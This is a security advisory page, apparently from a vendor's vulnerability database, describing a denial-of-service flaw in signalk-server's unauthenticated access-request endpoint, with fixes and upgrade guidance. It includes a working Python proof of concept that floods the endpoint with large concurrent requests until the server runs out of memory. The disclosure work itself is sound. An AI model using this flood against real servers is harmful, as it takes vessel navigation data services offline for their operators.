GHSA-7rqc-ff8m-7j23 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in signalk-server. O3 Security confirms whether GHSA-7rqc-ff8m-7j23 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
signalk-servernpmDescription
Summary
A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.
Details
The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.
Vulnerable Code Analysis:
- In-Memory Storage: In
src/requestResponse.js, requests are stored in a simple JavaScript object:const requests = {} - Unbounded Growth: The
createRequestfunction adds new requests to this object without checking the current size or count of existing requests. - Infrequent Pruning: The
pruneRequestsfunction, which removes old requests, runs only once every 15 minutes (pruneIntervalRate). - No Rate Limiting: The endpoint
/signalk/v1/access/requestsaccepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).
Exploit Scenario:
- An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to
/signalk/v1/access/requests. - The server stores every request in the
requestsobject in the Node.js heap. - The heap memory usage spikes rapidly.
- The Node.js process hits its memory limit (default ~1.5GB) and crashes with
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.
PoC
The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.
import urllib.request
import json
import threading
import time
# Target Configuration
TARGET_URL = "http://localhost:3000/signalk/v1/access/requests"
PAYLOAD_SIZE_MB = 0.1 # 100 KB per request
NUM_REQUESTS = 20000 # Sufficient to exhaust heap
CONCURRENCY = 50
# Generate a large string payload
LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))
def send_heavy_request(i):
try:
payload = {
"clientId": f"attacker-device-{i}",
"description": LARGE_STRING, # Stored in memory!
"permissions": "readwrite"
}
data = json.dumps(payload).encode('utf-8')
req = urllib.request.Request(
TARGET_URL,
data=data,
headers={'Content-Type': 'application/json'},
method='POST'
)
# Short timeout as server might hang
urllib.request.urlopen(req, timeout=5)
except:
pass
def attack():
print(f"[*] Starting DoS Attack on {TARGET_URL}...")
threads = []
for i in range(NUM_REQUESTS):
t = threading.Thread(target=send_heavy_request, args=(i,))
threads.append(t)
t.start()
if len(threads) >= CONCURRENCY:
for t in threads: t.join()
threads = []
if __name__ == "__main__":
attack()
Expected Result: Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.
Impact
Verified Denial of Service: During our verification using the provided PoC, we observed the following:
- Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack.
- Service Instability: Continued execution of the PoC quickly leads to a
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memorycrash. - Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.
Remediation
1. Implement Rate Limiting
Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.
2. Limit Request Storage
Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.
3. Validate Payload Size
Enforce strict limits on the size of the description and other fields in the access request payload.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | signalk-server | all versions | 2.19.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for signalk-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update signalk-server to 2.19.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7rqc-ff8m-7j23 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7rqc-ff8m-7j23 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7rqc-ff8m-7j23. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7rqc-ff8m-7j23 in your dependencies?
O3 detects GHSA-7rqc-ff8m-7j23 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.